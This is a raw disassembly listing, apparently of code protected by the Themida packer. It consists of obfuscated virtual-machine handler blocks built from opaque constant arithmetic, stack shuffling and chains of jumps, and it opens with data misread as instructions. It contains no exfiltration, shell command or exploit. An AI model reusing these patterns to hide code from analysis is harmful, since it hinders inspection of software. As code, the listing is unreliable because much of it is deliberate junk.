		int	5Ah		; Cluster adapter BIOS entry address
		add	ds:64005A66h, al
		mov	bl, 59h
		add	bh, dh
		out	5Ah, eax
		add	al, ah
		mov	al, 59h
		add	[edx-26h], cl
		pop	edx
		add	[ecx+460059AFh], ch
		imul	ebx, [edx+0], 5A21EDh
		push	0FFFFFFC0h
		pop	edx
		add	ah, dh
		dec	edi
		pop	edx
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_59895C:				; CODE XREF: Themida_:005DAF1Aj
					; Themida_:005DAF24j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7FB5523h
		mov	eax, edi
		add	edi, 7FB523Bh
		cmp	eax, [edi+2Ch]
		jnz	short loc_59897A
		jmp	short loc_59898D
; ---------------------------------------------------------------------------


loc_59897A:				; CODE XREF: Themida_:00598976j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_598989
; ---------------------------------------------------------------------------


loc_598984:				; CODE XREF: Themida_:0059898Bj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_598989:				; CODE XREF: Themida_:00598982j
		or	ecx, ecx
		jnz	short loc_598984


loc_59898D:				; CODE XREF: Themida_:00598978j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_59899A:				; CODE XREF: Themida_:005989A1j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_59899A


loc_5989A3:				; CODE XREF: Themida_:00598A24j
					; Themida_:00598D57j ...
		lodsb
		push	4F87h
		mov	[esp], edx
		jmp	loc_5A41D5
; ---------------------------------------------------------------------------


loc_5989B1:				; CODE XREF: Themida_:005ABB86j
		pop	ebp
		add	ebp, 4
		jmp	loc_5AEAC1
; ---------------------------------------------------------------------------


loc_5989BD:				; CODE XREF: Themida_:0059BB15j
		pop	edi
		add	esi, 50BC705Dh
		sub	esi, ecx
		jmp	loc_59DFDF
; ---------------------------------------------------------------------------


loc_5989CB:				; CODE XREF: Themida_:005999A9j
					; Themida_:0059DD2Bj
		sub	ebp, 36B5EE9h
		sub	ebp, 36D6444Eh
		inc	ebp
		dec	ebp
		sub	ebp, 1FFAA478h
		add	ebx, ebp
		jmp	loc_59DE4D
; ---------------------------------------------------------------------------


loc_5989E6:				; CODE XREF: Themida_:005AC283j
		pop	ebp
		add	eax, ebp
		sub	eax, 38E64255h
		pop	ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5A8B31
; ---------------------------------------------------------------------------


loc_5989FD:				; CODE XREF: Themida_:005A1094j
		sub	edx, esi
		add	edx, 358C6F91h
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_59E5F4
; ---------------------------------------------------------------------------


loc_598A1F:				; CODE XREF: Themida_:005A3014j
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_598A29:				; CODE XREF: Themida_:005A98A4j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 37E95517h
		jmp	loc_5A75EE
; ---------------------------------------------------------------------------


loc_598A3D:				; CODE XREF: Themida_:loc_59A5B6j
		xor	esi, 484579B0h
		push	edx
		jmp	loc_5A4D88
; ---------------------------------------------------------------------------


loc_598A49:				; CODE XREF: Themida_:0059DE92j
		add	edi, edx
		pop	edx
		push	2880h
		mov	[esp], edx
		mov	edx, 271E0F5Fh
		and	edx, 6A0815F9h
		push	eax
		mov	eax, 3A7F3325h
		push	esi
		push	eax
		jmp	loc_5AA138
; ---------------------------------------------------------------------------


loc_598A6C:				; CODE XREF: Themida_:loc_5AFCF1j
		push	ebx
		mov	ebx, 0BA8E706Fh
		xor	esi, ebx
		pop	ebx
		mov	ebp, esi
		pop	esi
		add	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0D56DFFFFh
		xor	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		push	ebx
		jmp	loc_5A6052
; ---------------------------------------------------------------------------


loc_598A9D:				; CODE XREF: Themida_:005A9353j
		add	dl, 62h
		push	ecx
		jmp	loc_5A5B52
; ---------------------------------------------------------------------------


loc_598AA6:				; CODE XREF: Themida_:loc_59B02Dj
		and	edi, 35C641F7h
		js	loc_59CF8B
		xor	edi, 3ED48CA4h
		push	edi
		pop	esi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	eax, 7DFA0BB8h
		sub	eax, 4BF30CB1h
		sub	eax, esi
		jmp	loc_5A3B52
; ---------------------------------------------------------------------------


loc_598AE1:				; CODE XREF: Themida_:0059CBCBj
		add	esp, 4
		push	ebx
		mov	ebx, 24ED64ECh
		add	ebx, 0FFFFFFFFh
		shl	ebx, 8
		not	ebx
		dec	ebx
		not	ebx
		xor	ebx, 998BC55Eh
		sub	esi, ebx
		pop	ebx
		push	57FFh
		mov	[esp], esi
		add	dword ptr [esp], 46C44866h
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 46C44866h
		push	dword ptr [esp]
		jmp	loc_5AEECD
; ---------------------------------------------------------------------------


loc_598B23:				; CODE XREF: Themida_:005A7623j
		add	dword ptr [esp], 4
		jmp	loc_5AE9C1
; ---------------------------------------------------------------------------


loc_598B2C:				; CODE XREF: Themida_:005A2E8Fj
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5A2CF4
; ---------------------------------------------------------------------------


loc_598B3C:				; CODE XREF: Themida_:005A4E14j
		and	cx, bp
		pop	bp
		xor	cx, 4ECEh
		jmp	loc_59A223
; ---------------------------------------------------------------------------


loc_598B4B:				; CODE XREF: Themida_:0059F020j
		xchg	ecx, [esp]
		pop	esp
		sub	bl, 27h
		jmp	loc_5AAB57
; ---------------------------------------------------------------------------


loc_598B57:				; CODE XREF: Themida_:005AA9DDj
		push	7D5Ah
		jmp	loc_5A3767
; ---------------------------------------------------------------------------


loc_598B61:				; CODE XREF: Themida_:005A916Dj
		pop	ebx
		push	ebp
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 1E4B05C6h
		jmp	loc_5A97BD
; ---------------------------------------------------------------------------


loc_598B7F:				; CODE XREF: Themida_:0059A3E2j
		mov	ebp, 11DC795Fh
		dec	ebp
		add	ebp, 0CEE30DDh
		jmp	loc_5A58E7
; ---------------------------------------------------------------------------


loc_598B90:				; CODE XREF: Themida_:005A9C3Cj
		xor	eax, 0DDC1F8BEh
		add	edx, 469A3F2Ch
		sub	edx, eax
		sub	edx, 469A3F2Ch
		jmp	loc_598CF2
; ---------------------------------------------------------------------------


loc_598BA8:				; CODE XREF: Themida_:005A5022j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5A18C9
; ---------------------------------------------------------------------------


loc_598BB3:				; CODE XREF: Themida_:005A694Dj
		add	edi, 4
		jmp	loc_59CAA0
; ---------------------------------------------------------------------------


loc_598BBE:				; CODE XREF: Themida_:005AC93Aj
		sub	ecx, 4
		jmp	loc_59CC20
; ---------------------------------------------------------------------------


loc_598BC6:				; CODE XREF: Themida_:005A8401j
		push	edi
		pop	edx
		mov	edi, [esp]
		add	esp, 4


loc_598BCE:				; CODE XREF: Themida_:005A3D26j
					; Themida_:005A608Dj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A0185
; ---------------------------------------------------------------------------


loc_598BD9:				; CODE XREF: Themida_:005A6A93j
		push	ecx
		mov	ecx, 29DC5918h
		xor	ecx, 49473D62h
		sub	esi, ecx
		pop	ecx
		jmp	loc_5A74AB
; ---------------------------------------------------------------------------


loc_598BED:				; CODE XREF: Themida_:005A49EEj
		add	eax, 0AF474029h
		jmp	loc_5A908C
; ---------------------------------------------------------------------------


loc_598BF7:				; CODE XREF: Themida_:005AF3E5j
		sub	ebx, edi
		add	ebx, 4A296107h
		pop	edi
		jmp	loc_59AEE3
; ---------------------------------------------------------------------------


loc_598C05:				; CODE XREF: Themida_:005A7F94j
		push	bx
		mov	bh, 0C1h
		add	al, bh
		pop	bx
		pop	dx
		push	small 4F0Dh
		jmp	loc_5A12C3
; ---------------------------------------------------------------------------


loc_598C18:				; CODE XREF: Themida_:005A832Dj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	eax, ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2FC919C8h
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_5A7CE8
; ---------------------------------------------------------------------------


loc_598C38:				; CODE XREF: Themida_:005A4E8Bj
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0C9h
		sub	dh, 0C5h
		add	ch, dh
		mov	edx, [esp]
		add	esp, 4
		xor	al, ch
		jmp	loc_5ADF00
; ---------------------------------------------------------------------------


loc_598C55:				; CODE XREF: Themida_:005A7F8Dj
		mov	[esp], edi
		push	esi
		push	ebp
		jmp	loc_5AF59D
; ---------------------------------------------------------------------------


loc_598C5F:				; CODE XREF: Themida_:005A3105j
		jmp	loc_5A91ED
; ---------------------------------------------------------------------------


loc_598C64:				; CODE XREF: Themida_:005A5EECj
		or	ch, al
		pop	eax
		inc	ch
		jmp	loc_5AB4BF
; ---------------------------------------------------------------------------


loc_598C6E:				; CODE XREF: Themida_:005AE567j
		inc	ebp
		neg	ebp
		xor	ebp, 2D0917B7h
		mov	edx, ebp
		pop	ebp
		add	edx, esi
		pop	esi
		shl	edx, 8
		shl	edx, 6
		push	ebp
		push	esi
		push	145718F9h
		pop	esi
		shl	esi, 4
		jp	loc_5AFCF1
		jmp	loc_5A3684
; ---------------------------------------------------------------------------
		sub	dh, 0BAh
		sub	al, 4Eh
		pop	ecx


loc_598C9F:				; CODE XREF: Themida_:005A7E4Dj
		sub	edx, edi
		pop	edi
		add	edx, eax
		jmp	loc_59F56E
; ---------------------------------------------------------------------------


loc_598CA9:				; CODE XREF: Themida_:005A4453j
					; Themida_:005A997Fj
		add	esi, 1
		jmp	loc_5A12DA
; ---------------------------------------------------------------------------


loc_598CB4:				; CODE XREF: Themida_:005AB8D4j
		pop	dword ptr [esp]
		jmp	loc_5A2D20
; ---------------------------------------------------------------------------


loc_598CBC:				; CODE XREF: Themida_:0059BC60j
		pop	ebx
		sub	ebx, 3C06FFCCh
		and	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 0E6C2764h
		jmp	loc_5A5BEF
; ---------------------------------------------------------------------------


loc_598CD1:				; CODE XREF: Themida_:005A31E6j
		push	ebx
		mov	ebx, 2F7B1708h
		shr	ebx, 5
		jmp	loc_59E97B
; ---------------------------------------------------------------------------


loc_598CDF:				; CODE XREF: Themida_:005A9EBCj
		mov	ebp, [esp]
		add	esp, 4
		shr	ebp, 2
		push	1622h
		jmp	loc_5A5405
; ---------------------------------------------------------------------------


loc_598CF2:				; CODE XREF: Themida_:00598BA3j
		pop	eax
		xor	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59B577
; ---------------------------------------------------------------------------


loc_598D01:				; CODE XREF: Themida_:005A2B2Aj
					; Themida_:005AE195j
		pop	edi
		xor	edi, 799216CEh
		sub	ebx, 3E87882h
		sub	ebx, 1C691E58h
		jmp	loc_5A860A
; ---------------------------------------------------------------------------


loc_598D19:				; CODE XREF: Themida_:0059B8B6j
		jmp	loc_5A932C
; ---------------------------------------------------------------------------


loc_598D1E:				; CODE XREF: Themida_:0059D824j
		or	ebx, 3573037Ah
		not	ebx
		push	edx
		mov	edx, 58F5177h
		add	ebx, edx
		pop	edx
		sub	edx, ebx
		pop	ebx
		sub	edx, esi
		add	edx, 4D975D7Ch
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A7FC2
; ---------------------------------------------------------------------------


loc_598D48:				; CODE XREF: Themida_:0059C625j
		push	small 67C4h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_598D5C:				; CODE XREF: Themida_:005A3A0Cj
		mov	esi, esp
		push	edi
		mov	edi, 404455D6h
		jmp	loc_5AD2AF
; ---------------------------------------------------------------------------


loc_598D69:				; CODE XREF: Themida_:005AF35Bj
		xor	edx, eax
		pop	eax
		add	edx, 8E189AC0h
		add	esi, edx
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5AF1E6
; ---------------------------------------------------------------------------


loc_598D7F:				; CODE XREF: Themida_:005A7D64j
		mov	ebx, 4
		add	edx, 7FE030F0h
		jmp	loc_5AFE2F
; ---------------------------------------------------------------------------


loc_598D8F:				; CODE XREF: Themida_:0059A2E9j
		push	dword ptr [esp]
		jmp	loc_5AEDFC
; ---------------------------------------------------------------------------


loc_598D97:				; CODE XREF: Themida_:0059AA88j
		jmp	loc_5AEBEA
; ---------------------------------------------------------------------------


loc_598D9C:				; CODE XREF: Themida_:loc_5A08A8j
		sub	eax, 9E3AE294h
		jmp	loc_5A6C1F
; ---------------------------------------------------------------------------


loc_598DA6:				; CODE XREF: Themida_:005AD190j
		mov	ah, bh
		jmp	loc_59F10B
; ---------------------------------------------------------------------------


loc_598DAD:				; CODE XREF: Themida_:005A3212j
		shr	esi, 8
		jmp	loc_5A0799
; ---------------------------------------------------------------------------


loc_598DB5:				; CODE XREF: Themida_:005AE28Dj
		mov	edi, 79940867h
		dec	edi
		dec	edi
		push	edx
		push	ecx
		mov	ecx, 683E6BB7h
		or	ecx, 11BA3D55h
		add	ecx, 4B6541CDh
		jnb	loc_59D1BF
		not	ecx
		inc	ecx
		jp	loc_5A7847
		mov	bl, 49h
		and	al, 50h


loc_598DE2:				; CODE XREF: Themida_:005A462Bj
		xor	eax, 66C06079h
		xor	eax, 2AFD73C9h
		add	edx, eax
		jmp	loc_59AD8E
; ---------------------------------------------------------------------------


loc_598DF3:				; CODE XREF: Themida_:005AF0F0j
		shl	edx, 1
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_5AEBF7
; ---------------------------------------------------------------------------


loc_598E03:				; CODE XREF: Themida_:005AA1EDj
		push	ebp
		jmp	loc_5A762F
; ---------------------------------------------------------------------------


loc_598E09:				; CODE XREF: Themida_:005A4788j
		add	ch, 0DEh
		jmp	loc_5A1CA2
; ---------------------------------------------------------------------------


loc_598E11:				; CODE XREF: Themida_:loc_59AA7Cj
		sub	cl, 0D3h
		mov	ah, cl
		pop	ecx
		xor	ah, bl
		xor	bl, ah
		xor	ah, bl
		not	bl
		xchg	bl, ah
		jmp	loc_5AF08E
; ---------------------------------------------------------------------------


loc_598E26:				; CODE XREF: Themida_:0059CD62j
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		mov	esi, 327730E8h
		or	esi, 0A1D7F65h
		not	esi
		neg	esi
		not	esi
		jmp	loc_5A9E52
; ---------------------------------------------------------------------------


loc_598E45:				; CODE XREF: Themida_:0059F57Dj
		add	edx, 4F197A6Ah
		sub	edx, 0D14023Eh
		push	edi
		mov	edi, 324C0DB1h
		jmp	loc_5A592A
; ---------------------------------------------------------------------------


loc_598E5C:				; CODE XREF: Themida_:005AFB50j
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5AF6E3
; ---------------------------------------------------------------------------


loc_598E77:				; CODE XREF: Themida_:005A0C66j
		sub	bl, ch
		push	ecx
		jmp	loc_59A763
; ---------------------------------------------------------------------------


loc_598E7F:				; CODE XREF: Themida_:005A63FBj
		pop	ebx
		add	ecx, ebx
		jmp	loc_5AC10C
; ---------------------------------------------------------------------------


loc_598E87:				; CODE XREF: Themida_:00599DFFj
					; Themida_:0059F899j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_59D694
; ---------------------------------------------------------------------------


loc_598E99:				; CODE XREF: Themida_:005AB37Fj
		or	eax, 3C8E1A1Bh
		jmp	loc_59BA2E
; ---------------------------------------------------------------------------


loc_598EA3:				; CODE XREF: Themida_:005AA36Fj
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	3552h
		mov	[esp], esi
		jmp	loc_5A0C8F
; ---------------------------------------------------------------------------


loc_598EBD:				; CODE XREF: Themida_:005A78ECj
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_599CDA
; ---------------------------------------------------------------------------


loc_598EDA:				; CODE XREF: Themida_:005A0FEBj
		mov	si, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_59C5FA
; ---------------------------------------------------------------------------


loc_598EE6:				; CODE XREF: Themida_:005A1D93j
		dec	eax
		shr	eax, 8
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0DEB6A363h
		add	eax, ebp
		pop	ebp
		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, ecx
		pop	ecx
		jmp	loc_5A7062
; ---------------------------------------------------------------------------


loc_598F0C:				; CODE XREF: Themida_:005A8E3Dj
		push	ecx
		mov	ch, bl
		mov	ah, ch
		pop	ecx
		mov	dh, ah
		pop	eax
		mov	bl, ch
		mov	ch, dh
		pop	edx
		not	bl
		push	630Dh
		jmp	loc_5AC0E2
; ---------------------------------------------------------------------------


loc_598F26:				; CODE XREF: Themida_:0059E21Bj
		not	dword ptr [esp]
		jmp	loc_5A8617
; ---------------------------------------------------------------------------


loc_598F2E:				; CODE XREF: Themida_:005AF769j
		mov	cl, 0CEh
		mov	dh, 0F9h
		add	dh, cl
		pop	ecx
		sub	al, 0A5h
		jmp	loc_5AF13B
; ---------------------------------------------------------------------------


loc_598F3C:				; CODE XREF: Themida_:0059A4DCj
		mov	ebp, 3D8205B9h
		not	ebp
		xor	ebp, 0A764BB39h
		jmp	loc_5AB1DB
; ---------------------------------------------------------------------------


loc_598F4E:				; CODE XREF: Themida_:005A2D86j
		add	edx, 0B454A76Dh
		jmp	loc_59B5FB
; ---------------------------------------------------------------------------


loc_598F59:				; CODE XREF: Themida_:0059C884j
		pop	edx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5A3BC8
; ---------------------------------------------------------------------------


loc_598F74:				; CODE XREF: Themida_:005A7AAFj
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5A1776
; ---------------------------------------------------------------------------


loc_598F7F:				; CODE XREF: Themida_:005A0FF5j
		add	cl, 6Eh
		shr	cl, 8
		xor	cl, 63h
		jmp	loc_59F81B
; ---------------------------------------------------------------------------


loc_598F8D:				; CODE XREF: Themida_:005999BAj
		push	ebp
		mov	ebp, 422935AAh
		not	ebp
		or	ebp, 7173159Eh
		inc	ebp
		push	edx
		mov	edx, 0FDF7DFE4h
		xor	ebp, edx
		pop	edx
		mov	ecx, ebp
		pop	ebp
		add	esi, ecx
		jmp	loc_5A856B
; ---------------------------------------------------------------------------


loc_598FAF:				; CODE XREF: Themida_:005A381Bj
		add	ebx, edx
		push	eax
		mov	eax, 73EA7C1Dh
		sub	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_5A9977
; ---------------------------------------------------------------------------


loc_598FD7:				; CODE XREF: Themida_:005AAD3Dj
		or	ebp, 28287460h
		or	ebp, 16427A2Eh
		jmp	loc_5A39E4
; ---------------------------------------------------------------------------


loc_598FE8:				; CODE XREF: Themida_:005A1C27j
		mov	[esp], edx
		push	2DA6h
		mov	[esp], eax
		jmp	loc_5A95BB
; ---------------------------------------------------------------------------


loc_598FF8:				; CODE XREF: Themida_:005A3F33j
					; Themida_:005ACF51j
		add	ecx, 10D323EEh
		jbe	loc_5A7E9A
		sub	esp, 4
		jmp	loc_5A1AB5
; ---------------------------------------------------------------------------


loc_59900C:				; CODE XREF: Themida_:005A4BF1j
		push	eax
		push	6B4Bh
		mov	[esp], ecx
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_5AF619
; ---------------------------------------------------------------------------


loc_599024:				; CODE XREF: Themida_:005AA8BFj
					; Themida_:005AB021j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5A7895
; ---------------------------------------------------------------------------


loc_59902E:				; CODE XREF: Themida_:005A6EC1j
		xchg	edi, [esp]
		jmp	loc_5A2FA2
; ---------------------------------------------------------------------------


loc_599036:				; CODE XREF: Themida_:005A0D40j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A493E
; ---------------------------------------------------------------------------


loc_599042:				; CODE XREF: Themida_:0059D3C5j
		pop	dword ptr [esp]
		jmp	loc_59B9CB
; ---------------------------------------------------------------------------


loc_59904A:				; CODE XREF: Themida_:0059EAE9j
		xchg	eax, [esp]
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_599059:				; CODE XREF: Themida_:0059CF51j
					; Themida_:005AEC21j
		jmp	loc_5A9B14
; ---------------------------------------------------------------------------


loc_59905E:				; CODE XREF: Themida_:005A7FEAj
		dec	ch
		sub	ch, 1Eh
		add	bl, ch
		pop	ecx
		push	dx
		mov	dh, 0BEh
		jmp	loc_5A1069
; ---------------------------------------------------------------------------


loc_59906F:				; CODE XREF: Themida_:005A432Bj
		add	ebx, 7F4061E4h
		jmp	loc_5AD810
; ---------------------------------------------------------------------------


loc_59907A:				; CODE XREF: Themida_:005A3E25j
		mov	[edi+eax*4], bl
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59908C:				; CODE XREF: Themida_:005A3619j
		push	dword ptr [esp+4]
		jmp	loc_5ADC23
; ---------------------------------------------------------------------------


loc_599095:				; CODE XREF: Themida_:0059EFB0j
		mov	ebx, 78AA4F21h
		push	ecx
		mov	ecx, 65AE7025h
		add	ebx, ecx
		pop	ecx
		shr	ebx, 2
		sub	ebx, 7E3C55B6h
		jmp	loc_5A553D
; ---------------------------------------------------------------------------


loc_5990B1:				; CODE XREF: Themida_:005A1EFFj
		xor	esi, edi
		pop	edi
		xor	esi, 0DC9BD8D4h
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5AEA1E
; ---------------------------------------------------------------------------


loc_5990D0:				; CODE XREF: Themida_:005A637Fj
		sub	ch, 81h
		and	dh, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	dh, 0FFh
		push	ebx
		mov	bh, 9Bh
		add	dh, 4Ch
		add	dh, bh
		sub	dh, 4Ch
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	dh, 8Ah
		sub	dh, 0E9h
		jmp	loc_5AFCF6
; ---------------------------------------------------------------------------


loc_599102:				; DATA XREF: Themida_:00598850o
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5A9B2A
; ---------------------------------------------------------------------------


loc_599119:				; CODE XREF: Themida_:0059FF52j
		pop	eax
		sub	esp, 4
		jmp	loc_59A160
; ---------------------------------------------------------------------------


loc_599122:				; CODE XREF: Themida_:loc_5A19B1j
		not	ebx
		add	ebx, 743D4F9Ah
		mov	ecx, ebx
		jmp	loc_59B2A8
; ---------------------------------------------------------------------------


loc_599131:				; CODE XREF: Themida_:005A139Ej
					; Themida_:005AC262j
		sub	edi, esi
		pop	esi
		xor	[esp+4], edi
		mov	edi, [esp]
		jmp	loc_599399
; ---------------------------------------------------------------------------


loc_599140:				; CODE XREF: Themida_:005AF486j
		pop	ebp
		push	3214h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	ebp, edi
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5A3A87
; ---------------------------------------------------------------------------


loc_599189:				; CODE XREF: Themida_:0059CD7Bj
		pop	eax
		and	esi, 5EC80261h
		push	esi
		push	ebp
		mov	esi, [esp]
		add	esp, 4
		pop	ebp
		neg	ebp
		push	esi
		push	ebp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5ACB29
; ---------------------------------------------------------------------------


loc_5991AE:				; CODE XREF: Themida_:005A8934j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		pop	edi
		push	ecx
		mov	ecx, 67C957CDh
		shl	ecx, 6
		jnp	loc_59CABB
		add	ecx, 81CA8826h
		push	eax
		jmp	loc_5AD8C8
; ---------------------------------------------------------------------------
		add	edi, ebx


loc_5991F7:				; CODE XREF: Themida_:005A2E53j
		mov	ebp, esp
		push	379Eh
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_5A689A
; ---------------------------------------------------------------------------


loc_59920E:				; CODE XREF: Themida_:005A166Dj
					; Themida_:005ABED2j
		dec	edi
		jmp	loc_59DB2F
; ---------------------------------------------------------------------------


loc_599214:				; CODE XREF: Themida_:005AABA1j
		xor	ecx, 3A726568h
		mov	eax, ecx
		pop	ecx
		add	ebp, 36C34C96h
		sub	ebp, eax
		sub	ebp, 36C34C96h
		pop	eax
		add	ebp, edx
		push	ebx
		mov	ebx, 7911513Dh
		jmp	loc_59C4E7
; ---------------------------------------------------------------------------
		align 2
		dw 0E9E6h
		dd 2852h
; ---------------------------------------------------------------------------


loc_599240:				; CODE XREF: Themida_:005ABDCFj
		push	esi
		mov	esi, 3C0473C8h
		push	ecx
		jmp	loc_5AB542
; ---------------------------------------------------------------------------


loc_59924C:				; CODE XREF: Themida_:005A18AFj
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_59BADA
; ---------------------------------------------------------------------------


loc_599256:				; CODE XREF: Themida_:005AAFC5j
		sub	dl, 36h
		add	dl, 0DBh
		mov	ah, 0DCh
		sub	ah, dl
		jmp	loc_5AF208
; ---------------------------------------------------------------------------


loc_599265:				; CODE XREF: Themida_:005A401Aj
		mov	[esp], edi
		jmp	loc_5A757A
; ---------------------------------------------------------------------------


loc_59926D:				; CODE XREF: Themida_:0059C7CEj
					; Themida_:005AB02Cj
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_599282:				; CODE XREF: Themida_:005A7ED9j
		shl	eax, 4
		jz	loc_59E6DD
		add	eax, 91C755E4h
		add	edi, eax
		jmp	loc_5A320B
; ---------------------------------------------------------------------------


loc_599297:				; CODE XREF: Themida_:005A2076j
		shr	ebx, 5
		push	2A6Bh
		mov	[esp], ebp
		mov	ebp, 0A00B55D5h
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esi, 28511134h
		sub	esp, 4
		jmp	loc_5AF1D3
; ---------------------------------------------------------------------------


loc_5992CC:				; CODE XREF: Themida_:005AC959j
		mov	ecx, 3E0C2455h
		jmp	loc_5A32FE
; ---------------------------------------------------------------------------


loc_5992D6:				; CODE XREF: Themida_:0059AF0Bj
					; Themida_:005A9243j
		add	ebp, 5ED860DAh
		jmp	loc_59E45C
; ---------------------------------------------------------------------------


loc_5992E1:				; CODE XREF: Themida_:005A6D8Cj
		add	edi, edx
		jmp	loc_5AA03A
; ---------------------------------------------------------------------------


loc_5992E8:				; CODE XREF: Themida_:005A767Cj
		pop	ebx
		push	ecx
		mov	ch, 0F4h
		jmp	loc_5A5FF0
; ---------------------------------------------------------------------------


loc_5992F1:				; CODE XREF: Themida_:005A49F9j
					; Themida_:005AA721j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A3828
; ---------------------------------------------------------------------------


loc_5992FE:				; CODE XREF: Themida_:0059D681j
					; Themida_:005A9504j
		and	ebp, 392F286Dh
		shl	ebp, 1
		xor	ebp, 360E43BDh
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5ABB26
; ---------------------------------------------------------------------------


loc_599316:				; CODE XREF: Themida_:005A3F86j
		mov	[esp], ebp
		push	esi
		mov	esi, 3C115087h
		or	esi, 57D56248h
		jmp	loc_5A28D2
; ---------------------------------------------------------------------------


loc_59932A:				; CODE XREF: Themida_:005A3569j
		dec	ecx
		jmp	loc_5A5985
; ---------------------------------------------------------------------------


loc_599330:				; CODE XREF: Themida_:0059D24Cj
		xor	bh, 97h
		jmp	loc_59F52D
; ---------------------------------------------------------------------------


loc_599338:				; CODE XREF: Themida_:0059ADE7j
		add	bh, 0BAh
		jmp	loc_5A8DBD
; ---------------------------------------------------------------------------


loc_599340:				; CODE XREF: Themida_:005AE657j
		movzx	cx, al
		push	76F9h
		mov	[esp], edx
